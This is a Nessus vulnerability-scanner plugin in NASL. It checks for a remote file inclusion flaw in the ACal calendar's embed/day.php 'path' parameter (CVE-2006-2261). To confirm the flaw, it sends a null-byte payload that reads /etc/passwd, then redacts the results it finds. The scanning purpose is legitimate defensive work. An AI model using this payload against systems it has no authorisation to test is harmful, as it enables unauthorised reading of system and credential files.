code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(21557);
script_version("1.21");
script_cve_id("CVE-2006-2261");
script_bugtraq_id(17886);
script_xref(name:"EDB-ID", value:"1763");
script_name(english:"ACal embed/day.php path Parameter Remote File Inclusion");
script_summary(english:"Tries to read /etc/passwd using ACal");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is affected by a
remote file include issue." );
script_set_attribute(attribute:"description", value:
"The remote host is running ACal, an open source, web-based event
calendar written in PHP.
The version of ACal installed on the remote host fails to sanitize
user-supplied input to the 'path' parameter of the 'embed/day.php'
script before using it in PHP 'include()' functions. Provided PHP's
'register_globals' setting is enabled, an unauthenticated attacker may
be able to exploit this issue to view arbitrary files on the remote
host or to execute arbitrary PHP code, possibly taken from third-party
hosts." );
script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:W/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/15");
script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/07");
script_cvs_date("Date: 2018/06/13 18:56:25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:acal:acal");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2006-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("http_version.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
script_require_keys("www/PHP");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");
port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);
# Loop through various directories.
if (thorough_tests) dirs = list_uniq(make_list("/acal", "/calendar", cgi_dirs()));
else dirs = make_list(cgi_dirs());
foreach dir (dirs)
{
# Try to exploit one of the flaws to read a file.
file = "/etc/passwd%00";
r = http_send_recv3(method:"GET", port:port,
item:string(dir, "/embed/day.php?",
"path=", file));
if (isnull(r)) exit(0);
res = r[2];
# There's a problem if...
if (
# it looks like ACal and...
'<h1 class="day-title"' >< res &&
(
# there's an entry for root or...
egrep(pattern:"root:.*:0:[01]:", string:res) ||
# we get an error saying "failed to open stream".
#
# nb: this suggests magic_quotes_gpc was enabled but an attacker with
# local access and/or remote file inclusion might still work.
egrep(pattern:"main\(/etc/passwd\\0functions\.php.+ failed to open stream", string:res) ||
# we get an error claiming the file doesn't exist or...
egrep(pattern:"main\(/etc/passwd\).*: failed to open stream: No such file or directory", string:res) ||
# we get an error about open_basedir restriction.
egrep(pattern:"main.+ open_basedir restriction in effect. File\(/etc/passwd", string:res)
)
)
{
if (egrep(string:res, pattern:"root:.*:0:[01]:"))
contents = res - strstr(res, "<br");
if (isnull(contents)) security_hole(port);
else
{
contents = data_protection::redact_etc_passwd(output:contents);
report = string(
"\n",
"Here are the repeated contents of the file '/etc/passwd' that\n",
"Nessus was able to read from the remote host :\n",
"\n",
contents
);
security_hole(port:port, extra:report);
}
exit(0);
}
}
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